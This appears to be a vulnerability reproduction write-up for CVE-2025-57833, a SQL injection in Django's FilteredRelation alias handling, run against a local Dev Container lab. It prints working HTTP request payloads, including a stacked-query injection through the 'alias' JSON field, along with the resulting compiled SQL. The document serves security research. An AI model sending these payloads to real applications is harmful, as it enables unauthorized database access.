
Analysis and reproduction of CVE-2025-57833
A SQL injection vulnerability in Django that emerged after about a year, at first glance it appears to be caused by an alias (since aliases cannot be precompiled).
This vulnerability affects the FilteredRelation feature in the Django framework. When using QuerySet.annotate() or QuerySet.alias() methods and providing column aliases via Python's dictionary expansion (**kwargs), there is a risk of SQL injection. This is due to insufficient validation of dictionary keys (i.e., column aliases), allowing an attacker to construct malicious dictionaries to inject unrestricted SQL statements.
The affected versions are:
This vulnerability project uses VS Code's Dev Container for setup.
1️⃣ Open the project Open the project root directory (containing the .devcontainer folder) with VS Code.
2️⃣ Reopen in Container (Build Dev Container)
Press Ctrl+Shift+P (Windows/Linux) or Cmd+Shift+P (Mac)
Enter Remote-Containers: Reopen in Container
VS Code will read the .devcontainer configuration and build the container (first build may take a few minutes).
⚠️ If the Dockerfile or dependencies have been updated, you can choose Remote-Containers: Rebuild Container to ensure the latest environment.
3️⃣ Run Django development server
Open command palette Ctrl+Shift+P
Enter Tasks: Run Task
Select django:start (the task is configured in .vscode/tasks.json)
This task will start the Django development server inside the container
Default listening on 0.0.0.0:8085
4️⃣ Open a browser to access the project
Open browser and visit:
5️⃣ Notes
First run:
May need to run database migration:
python manage.py migrate
After the server starts, visit http://localhost:8085
Access the /book/search endpoint normally
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

At this point, the SQL compiled by Django ORM at the bottom layer is
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
It can be seen that an alias XXX for the vuln_author table is created. Based on the above patch analysis, it is known that XXX is not filtered, so injection is possible.
Directly using stacked injection will not execute the second SQL because the first SQL is invalid.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

Therefore, it is necessary to make the first statement valid first. Here, due to the association, we directly use the USING syntax.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

At this point, the injection succeeded, and the database execution user was found to be postgres. The SQL statement successfully compiled at the bottom layer is
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0